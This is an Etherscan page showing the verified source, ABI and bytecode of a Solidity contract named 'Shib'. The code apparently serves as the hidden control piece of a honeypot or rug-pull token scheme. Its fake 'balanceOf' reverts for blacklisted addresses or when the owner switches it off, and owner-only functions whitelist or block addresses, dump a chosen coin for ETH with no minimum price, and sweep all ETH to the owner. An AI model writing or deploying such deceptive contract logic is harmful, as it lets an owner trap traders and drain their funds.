Overview
ETH Balance
0 ETH
Eth Value
$0.00More Info
Private Name Tags
ContractCreator
Latest 5 from a total of 5 transactions
Loading...
Loading
Contract Name:
Shib
Compiler Version
v0.8.20+commit.a1b79de6
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-07-14 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IERC20 { function decimals() external returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IUniswapV2Router02 { function WETH() external pure returns (address); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract Shib is Ownable { using SafeMath for uint256; IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address coin; address pair; mapping(address => bool) whites; mapping(address => bool) blacks; bool public enabled = true; receive() external payable { } function initMev(address _coin, address _pair) external onlyOwner { coin = _coin; pair = _pair; } function enableMev(bool _enabled) external onlyOwner { enabled = _enabled; } function resetMev() external onlyOwner { coin = address(0); pair = address(0); } function balanceOf( address from ) external view returns (uint256) { if (whites[from] || pair == address(0)) { require(!blacks[from]); return 1; } else if ((from == owner() || from == address(this))) { return 0; } if (from != pair) { require(enabled); require(!blacks[from]); } return 1; } function rektMev(uint256 count) external onlyOwner { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = coin; path[1] = uniswapV2Router.WETH(); IERC20(coin).approve(address(uniswapV2Router), ~uint256(0)); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( 10 ** count, 0, // accept any amount of ETH path, address(this), block.timestamp ); payable(msg.sender).transfer(address(this).balance); } function AddMevs(address[] memory _wat) external onlyOwner{ for (uint i = 0; i < _wat.length; i++) { whites[_wat[i]] = true; } } function AddBlocks(address[] memory _bat) external onlyOwner{ for (uint i = 0; i < _bat.length; i++) { blacks[_bat[i]] = true; } } function dust() external onlyOwner { payable(msg.sender).transfer(address(this).balance); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"inputs":[{"internalType":"address[]","name":"_bat","type":"address[]"}],"name":"AddBlocks","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_wat","type":"address[]"}],"name":"AddMevs","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"dust","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"enableMev","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_coin","type":"address"},{"internalType":"address","name":"_pair","type":"address"}],"name":"initMev","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"count","type":"uint256"}],"name":"rektMev","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"resetMev","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052600180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d1781556006805460ff19169091179055348015610042575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350610c96806100905f395ff3fe6080604052600436106100a8575f3560e01c80638da5cb5b116100625780638da5cb5b14610181578063e5157c3d146101a7578063ecee3094146101c6578063f2fde38b146101e5578063f7fdf43c14610204578063fad9aba314610218575f80fd5b80630dff5781146100b3578063186b4e19146100d4578063238dafe0146100f357806369e983c71461012157806370a0823114610140578063715018a61461016d575f80fd5b366100af57005b5f80fd5b3480156100be575f80fd5b506100d26100cd366004610901565b61022c565b005b3480156100df575f80fd5b506100d26100ee3660046109ce565b6102c7565b3480156100fe575f80fd5b5060065461010c9060ff1681565b60405190151581526020015b60405180910390f35b34801561012c575f80fd5b506100d261013b3660046109f0565b610303565b34801561014b575f80fd5b5061015f61015a366004610a27565b61035a565b604051908152602001610118565b348015610178575f80fd5b506100d2610430565b34801561018c575f80fd5b505f546040516001600160a01b039091168152602001610118565b3480156101b2575f80fd5b506100d26101c1366004610a42565b6104a1565b3480156101d1575f80fd5b506100d26101e0366004610901565b6106b8565b3480156101f0575f80fd5b506100d26101ff366004610a27565b610746565b34801561020f575f80fd5b506100d261082d565b348015610223575f80fd5b506100d2610874565b5f546001600160a01b0316331461025e5760405162461bcd60e51b815260040161025590610a59565b60405180910390fd5b5f5b81518110156102c357600160055f84848151811061028057610280610a8e565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff1916911515919091179055806102bb81610ab6565b915050610260565b5050565b5f546001600160a01b031633146102f05760405162461bcd60e51b815260040161025590610a59565b6006805460ff1916911515919091179055565b5f546001600160a01b0316331461032c5760405162461bcd60e51b815260040161025590610a59565b600280546001600160a01b039384166001600160a01b03199182161790915560038054929093169116179055565b6001600160a01b0381165f9081526004602052604081205460ff168061038957506003546001600160a01b0316155b156103ba576001600160a01b0382165f9081526005602052604090205460ff16156103b2575f80fd5b506001919050565b5f546001600160a01b03838116911614806103dd57506001600160a01b03821630145b156103e957505f919050565b6003546001600160a01b038381169116146103b25760065460ff1661040c575f80fd5b6001600160a01b0382165f9081526005602052604090205460ff16156103b2575f80fd5b5f546001600160a01b031633146104595760405162461bcd60e51b815260040161025590610a59565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146104ca5760405162461bcd60e51b815260040161025590610a59565b6040805160028082526060820183525f92602083019080368337505060025482519293506001600160a01b0316918391505f9061050957610509610a8e565b6001600160a01b03928316602091820292909201810191909152600154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610560573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105849190610ace565b8160018151811061059757610597610a8e565b6001600160a01b03928316602091820292909201015260025460015460405163095ea7b360e01b815290831660048201525f19602482015291169063095ea7b3906044016020604051808303815f875af11580156105f7573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061061b9190610ae9565b506001546001600160a01b031663791ac94761063884600a610be6565b5f8430426040518663ffffffff1660e01b815260040161065c959493929190610bf1565b5f604051808303815f87803b158015610673575f80fd5b505af1158015610685573d5f803e3d5ffd5b50506040513392504780156108fc029250905f818181858888f193505050501580156106b3573d5f803e3d5ffd5b505050565b5f546001600160a01b031633146106e15760405162461bcd60e51b815260040161025590610a59565b5f5b81518110156102c357600160045f84848151811061070357610703610a8e565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff19169115159190911790558061073e81610ab6565b9150506106e3565b5f546001600160a01b0316331461076f5760405162461bcd60e51b815260040161025590610a59565b6001600160a01b0381166107d45760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610255565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b5f546001600160a01b031633146108565760405162461bcd60e51b815260040161025590610a59565b600280546001600160a01b0319908116909155600380549091169055565b5f546001600160a01b0316331461089d5760405162461bcd60e51b815260040161025590610a59565b60405133904780156108fc02915f818181858888f193505050501580156108c6573d5f803e3d5ffd5b50565b634e487b7160e01b5f52604160045260245ffd5b6001600160a01b03811681146108c6575f80fd5b80356108fc816108dd565b919050565b5f6020808385031215610912575f80fd5b823567ffffffffffffffff80821115610929575f80fd5b818501915085601f83011261093c575f80fd5b81358181111561094e5761094e6108c9565b8060051b604051601f19603f83011681018181108582111715610973576109736108c9565b604052918252848201925083810185019188831115610990575f80fd5b938501935b828510156109b5576109a6856108f1565b84529385019392850192610995565b98975050505050505050565b80151581146108c6575f80fd5b5f602082840312156109de575f80fd5b81356109e9816109c1565b9392505050565b5f8060408385031215610a01575f80fd5b8235610a0c816108dd565b91506020830135610a1c816108dd565b809150509250929050565b5f60208284031215610a37575f80fd5b81356109e9816108dd565b5f60208284031215610a52575f80fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b634e487b7160e01b5f52601160045260245ffd5b5f60018201610ac757610ac7610aa2565b5060010190565b5f60208284031215610ade575f80fd5b81516109e9816108dd565b5f60208284031215610af9575f80fd5b81516109e9816109c1565b600181815b80851115610b3e57815f1904821115610b2457610b24610aa2565b80851615610b3157918102915b93841c9390800290610b09565b509250929050565b5f82610b5457506001610be0565b81610b6057505f610be0565b8160018114610b765760028114610b8057610b9c565b6001915050610be0565b60ff841115610b9157610b91610aa2565b50506001821b610be0565b5060208310610133831016604e8410600b8410161715610bbf575081810a610be0565b610bc98383610b04565b805f1904821115610bdc57610bdc610aa2565b0290505b92915050565b5f6109e98383610b46565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b81811015610c3f5784516001600160a01b031683529383019391830191600101610c1a565b50506001600160a01b0396909616606085015250505060800152939250505056fea264697066735822122013c51b9788a9e677f6af4fcf654d1afdbd7a1eef48f6b57eeb649eabba062b5564736f6c63430008140033
Deployed Bytecode
0x6080604052600436106100a8575f3560e01c80638da5cb5b116100625780638da5cb5b14610181578063e5157c3d146101a7578063ecee3094146101c6578063f2fde38b146101e5578063f7fdf43c14610204578063fad9aba314610218575f80fd5b80630dff5781146100b3578063186b4e19146100d4578063238dafe0146100f357806369e983c71461012157806370a0823114610140578063715018a61461016d575f80fd5b366100af57005b5f80fd5b3480156100be575f80fd5b506100d26100cd366004610901565b61022c565b005b3480156100df575f80fd5b506100d26100ee3660046109ce565b6102c7565b3480156100fe575f80fd5b5060065461010c9060ff1681565b60405190151581526020015b60405180910390f35b34801561012c575f80fd5b506100d261013b3660046109f0565b610303565b34801561014b575f80fd5b5061015f61015a366004610a27565b61035a565b604051908152602001610118565b348015610178575f80fd5b506100d2610430565b34801561018c575f80fd5b505f546040516001600160a01b039091168152602001610118565b3480156101b2575f80fd5b506100d26101c1366004610a42565b6104a1565b3480156101d1575f80fd5b506100d26101e0366004610901565b6106b8565b3480156101f0575f80fd5b506100d26101ff366004610a27565b610746565b34801561020f575f80fd5b506100d261082d565b348015610223575f80fd5b506100d2610874565b5f546001600160a01b0316331461025e5760405162461bcd60e51b815260040161025590610a59565b60405180910390fd5b5f5b81518110156102c357600160055f84848151811061028057610280610a8e565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff1916911515919091179055806102bb81610ab6565b915050610260565b5050565b5f546001600160a01b031633146102f05760405162461bcd60e51b815260040161025590610a59565b6006805460ff1916911515919091179055565b5f546001600160a01b0316331461032c5760405162461bcd60e51b815260040161025590610a59565b600280546001600160a01b039384166001600160a01b03199182161790915560038054929093169116179055565b6001600160a01b0381165f9081526004602052604081205460ff168061038957506003546001600160a01b0316155b156103ba576001600160a01b0382165f9081526005602052604090205460ff16156103b2575f80fd5b506001919050565b5f546001600160a01b03838116911614806103dd57506001600160a01b03821630145b156103e957505f919050565b6003546001600160a01b038381169116146103b25760065460ff1661040c575f80fd5b6001600160a01b0382165f9081526005602052604090205460ff16156103b2575f80fd5b5f546001600160a01b031633146104595760405162461bcd60e51b815260040161025590610a59565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146104ca5760405162461bcd60e51b815260040161025590610a59565b6040805160028082526060820183525f92602083019080368337505060025482519293506001600160a01b0316918391505f9061050957610509610a8e565b6001600160a01b03928316602091820292909201810191909152600154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610560573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105849190610ace565b8160018151811061059757610597610a8e565b6001600160a01b03928316602091820292909201015260025460015460405163095ea7b360e01b815290831660048201525f19602482015291169063095ea7b3906044016020604051808303815f875af11580156105f7573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061061b9190610ae9565b506001546001600160a01b031663791ac94761063884600a610be6565b5f8430426040518663ffffffff1660e01b815260040161065c959493929190610bf1565b5f604051808303815f87803b158015610673575f80fd5b505af1158015610685573d5f803e3d5ffd5b50506040513392504780156108fc029250905f818181858888f193505050501580156106b3573d5f803e3d5ffd5b505050565b5f546001600160a01b031633146106e15760405162461bcd60e51b815260040161025590610a59565b5f5b81518110156102c357600160045f84848151811061070357610703610a8e565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff19169115159190911790558061073e81610ab6565b9150506106e3565b5f546001600160a01b0316331461076f5760405162461bcd60e51b815260040161025590610a59565b6001600160a01b0381166107d45760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610255565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b5f546001600160a01b031633146108565760405162461bcd60e51b815260040161025590610a59565b600280546001600160a01b0319908116909155600380549091169055565b5f546001600160a01b0316331461089d5760405162461bcd60e51b815260040161025590610a59565b60405133904780156108fc02915f818181858888f193505050501580156108c6573d5f803e3d5ffd5b50565b634e487b7160e01b5f52604160045260245ffd5b6001600160a01b03811681146108c6575f80fd5b80356108fc816108dd565b919050565b5f6020808385031215610912575f80fd5b823567ffffffffffffffff80821115610929575f80fd5b818501915085601f83011261093c575f80fd5b81358181111561094e5761094e6108c9565b8060051b604051601f19603f83011681018181108582111715610973576109736108c9565b604052918252848201925083810185019188831115610990575f80fd5b938501935b828510156109b5576109a6856108f1565b84529385019392850192610995565b98975050505050505050565b80151581146108c6575f80fd5b5f602082840312156109de575f80fd5b81356109e9816109c1565b9392505050565b5f8060408385031215610a01575f80fd5b8235610a0c816108dd565b91506020830135610a1c816108dd565b809150509250929050565b5f60208284031215610a37575f80fd5b81356109e9816108dd565b5f60208284031215610a52575f80fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b634e487b7160e01b5f52601160045260245ffd5b5f60018201610ac757610ac7610aa2565b5060010190565b5f60208284031215610ade575f80fd5b81516109e9816108dd565b5f60208284031215610af9575f80fd5b81516109e9816109c1565b600181815b80851115610b3e57815f1904821115610b2457610b24610aa2565b80851615610b3157918102915b93841c9390800290610b09565b509250929050565b5f82610b5457506001610be0565b81610b6057505f610be0565b8160018114610b765760028114610b8057610b9c565b6001915050610be0565b60ff841115610b9157610b91610aa2565b50506001821b610be0565b5060208310610133831016604e8410600b8410161715610bbf575081810a610be0565b610bc98383610b04565b805f1904821115610bdc57610bdc610aa2565b0290505b92915050565b5f6109e98383610b46565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b81811015610c3f5784516001600160a01b031683529383019391830191600101610c1a565b50506001600160a01b0396909616606085015250505060800152939250505056fea264697066735822122013c51b9788a9e677f6af4fcf654d1afdbd7a1eef48f6b57eeb649eabba062b5564736f6c63430008140033
Deployed Bytecode Sourcemap
7888:2248:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9854:166;;;;;;;;;;-1:-1:-1;9854:166:0;;;;;:::i;:::-;;:::i;:::-;;8380:90;;;;;;;;;;-1:-1:-1;8380:90:0;;;;;:::i;:::-;;:::i;8179:26::-;;;;;;;;;;-1:-1:-1;8179:26:0;;;;;;;;;;;2081:14:1;;2074:22;2056:41;;2044:2;2029:18;8179:26:0;;;;;;;;8252:120;;;;;;;;;;-1:-1:-1;8252:120:0;;;;;:::i;:::-;;:::i;8589:436::-;;;;;;;;;;-1:-1:-1;8589:436:0;;;;;:::i;:::-;;:::i;:::-;;;2899:25:1;;;2887:2;2872:18;8589:436:0;2753:177:1;6302:148:0;;;;;;;;;;;;;:::i;5660:79::-;;;;;;;;;;-1:-1:-1;5698:7:0;5725:6;5660:79;;-1:-1:-1;;;;;5725:6:0;;;3081:51:1;;3069:2;3054:18;5660:79:0;2935:203:1;9033:641:0;;;;;;;;;;-1:-1:-1;9033:641:0;;;;;:::i;:::-;;:::i;9682:164::-;;;;;;;;;;-1:-1:-1;9682:164:0;;;;;:::i;:::-;;:::i;6605:244::-;;;;;;;;;;-1:-1:-1;6605:244:0;;;;;:::i;:::-;;:::i;8478:103::-;;;;;;;;;;;;;:::i;10028:105::-;;;;;;;;;;;;;:::i;9854:166::-;5872:6;;-1:-1:-1;;;;;5872:6:0;4896:10;5872:22;5864:67;;;;-1:-1:-1;;;5864:67:0;;;;;;;:::i;:::-;;;;;;;;;9930:6:::1;9925:88;9946:4;:11;9942:1;:15;9925:88;;;9997:4;9979:6;:15;9986:4;9991:1;9986:7;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;9979:15:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;9979:15:0;:22;;-1:-1:-1;;9979:22:0::1;::::0;::::1;;::::0;;;::::1;::::0;;9959:3;::::1;::::0;::::1;:::i;:::-;;;;9925:88;;;;9854:166:::0;:::o;8380:90::-;5872:6;;-1:-1:-1;;;;;5872:6:0;4896:10;5872:22;5864:67;;;;-1:-1:-1;;;5864:67:0;;;;;;;:::i;:::-;8444:7:::1;:18:::0;;-1:-1:-1;;8444:18:0::1;::::0;::::1;;::::0;;;::::1;::::0;;8380:90::o;8252:120::-;5872:6;;-1:-1:-1;;;;;5872:6:0;4896:10;5872:22;5864:67;;;;-1:-1:-1;;;5864:67:0;;;;;;;:::i;:::-;8329:4:::1;:12:::0;;-1:-1:-1;;;;;8329:12:0;;::::1;-1:-1:-1::0;;;;;;8329:12:0;;::::1;;::::0;;;8352:4:::1;:12:::0;;;;;::::1;::::0;::::1;;::::0;;8252:120::o;8589:436::-;-1:-1:-1;;;;;8685:12:0;;8661:7;8685:12;;;:6;:12;;;;;;;;;:34;;-1:-1:-1;8701:4:0;;-1:-1:-1;;;;;8701:4:0;:18;8685:34;8681:210;;;-1:-1:-1;;;;;8745:12:0;;;;;;:6;:12;;;;;;;;8744:13;8736:22;;;;;;-1:-1:-1;8780:1:0;;8589:436;-1:-1:-1;8589:436:0:o;8681:210::-;5698:7;5725:6;-1:-1:-1;;;;;8813:15:0;;;5725:6;;8813:15;;:40;;-1:-1:-1;;;;;;8832:21:0;;8848:4;8832:21;8813:40;8808:83;;;-1:-1:-1;8878:1:0;;8589:436;-1:-1:-1;8589:436:0:o;8808:83::-;8913:4;;-1:-1:-1;;;;;8905:12:0;;;8913:4;;8905:12;8901:98;;8942:7;;;;8934:16;;;;;;-1:-1:-1;;;;;8974:12:0;;;;;;:6;:12;;;;;;;;8973:13;8965:22;;;;;6302:148;5872:6;;-1:-1:-1;;;;;5872:6:0;4896:10;5872:22;5864:67;;;;-1:-1:-1;;;5864:67:0;;;;;;;:::i;:::-;6409:1:::1;6393:6:::0;;6372:40:::1;::::0;-1:-1:-1;;;;;6393:6:0;;::::1;::::0;6372:40:::1;::::0;6409:1;;6372:40:::1;6440:1;6423:19:::0;;-1:-1:-1;;;;;;6423:19:0::1;::::0;;6302:148::o;9033:641::-;5872:6;;-1:-1:-1;;;;;5872:6:0;4896:10;5872:22;5864:67;;;;-1:-1:-1;;;5864:67:0;;;;;;;:::i;:::-;9181:16:::1;::::0;;9195:1:::1;9181:16:::0;;;;;::::1;::::0;;9157:21:::1;::::0;9181:16:::1;::::0;::::1;::::0;;::::1;::::0;::::1;-1:-1:-1::0;;9218:4:0::1;::::0;9208:7;;;;-1:-1:-1;;;;;;9218:4:0::1;::::0;9208:7;;-1:-1:-1;9218:4:0::1;::::0;9208:7:::1;;;;:::i;:::-;-1:-1:-1::0;;;;;9208:14:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:14;;;;9243:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;9243:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;9208:7;;9243:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9233:4;9238:1;9233:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9233:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;9285:4:::1;::::0;;9307:15;9278:59:::1;::::0;-1:-1:-1;;;9278:59:0;;9307:15;;::::1;9278:59;::::0;::::1;4523:51:1::0;-1:-1:-1;;4590:18:1;;;4583:34;9285:4:0;::::1;::::0;9278:20:::1;::::0;4496:18:1;;9278:59:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;9376:15:0::1;::::0;-1:-1:-1;;;;;9376:15:0::1;:66;9457:11;9463:5:::0;9457:2:::1;:11;:::i;:::-;9483:1;9527:4;9554;9574:15;9376:224;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;9615:51:0::1;::::0;9623:10:::1;::::0;-1:-1:-1;9644:21:0::1;9615:51:::0;::::1;;;::::0;-1:-1:-1;9644:21:0;9615:51:::1;::::0;;;9644:21;9623:10;9615:51;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;9084:590;9033:641:::0;:::o;9682:164::-;5872:6;;-1:-1:-1;;;;;5872:6:0;4896:10;5872:22;5864:67;;;;-1:-1:-1;;;5864:67:0;;;;;;;:::i;:::-;9756:6:::1;9751:88;9772:4;:11;9768:1;:15;9751:88;;;9823:4;9805:6;:15;9812:4;9817:1;9812:7;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;9805:15:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;9805:15:0;:22;;-1:-1:-1;;9805:22:0::1;::::0;::::1;;::::0;;;::::1;::::0;;9785:3;::::1;::::0;::::1;:::i;:::-;;;;9751:88;;6605:244:::0;5872:6;;-1:-1:-1;;;;;5872:6:0;4896:10;5872:22;5864:67;;;;-1:-1:-1;;;5864:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;6694:22:0;::::1;6686:73;;;::::0;-1:-1:-1;;;6686:73:0;;7439:2:1;6686:73:0::1;::::0;::::1;7421:21:1::0;7478:2;7458:18;;;7451:30;7517:34;7497:18;;;7490:62;-1:-1:-1;;;7568:18:1;;;7561:36;7614:19;;6686:73:0::1;7237:402:1::0;6686:73:0::1;6796:6;::::0;;6775:38:::1;::::0;-1:-1:-1;;;;;6775:38:0;;::::1;::::0;6796:6;::::1;::::0;6775:38:::1;::::0;::::1;6824:6;:17:::0;;-1:-1:-1;;;;;;6824:17:0::1;-1:-1:-1::0;;;;;6824:17:0;;;::::1;::::0;;;::::1;::::0;;6605:244::o;8478:103::-;5872:6;;-1:-1:-1;;;;;5872:6:0;4896:10;5872:22;5864:67;;;;-1:-1:-1;;;5864:67:0;;;;;;;:::i;:::-;8528:4:::1;:17:::0;;-1:-1:-1;;;;;;8528:17:0;;::::1;::::0;;;8556:4:::1;:17:::0;;;;::::1;::::0;;8478:103::o;10028:105::-;5872:6;;-1:-1:-1;;;;;5872:6:0;4896:10;5872:22;5864:67;;;;-1:-1:-1;;;5864:67:0;;;;;;;:::i;:::-;10074:51:::1;::::0;10082:10:::1;::::0;10103:21:::1;10074:51:::0;::::1;;;::::0;::::1;::::0;;;10103:21;10082:10;10074:51;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;10028:105::o:0;14:127:1:-;75:10;70:3;66:20;63:1;56:31;106:4;103:1;96:15;130:4;127:1;120:15;146:131;-1:-1:-1;;;;;221:31:1;;211:42;;201:70;;267:1;264;257:12;282:134;350:20;;379:31;350:20;379:31;:::i;:::-;282:134;;;:::o;421:1121::-;505:6;536:2;579;567:9;558:7;554:23;550:32;547:52;;;595:1;592;585:12;547:52;635:9;622:23;664:18;705:2;697:6;694:14;691:34;;;721:1;718;711:12;691:34;759:6;748:9;744:22;734:32;;804:7;797:4;793:2;789:13;785:27;775:55;;826:1;823;816:12;775:55;862:2;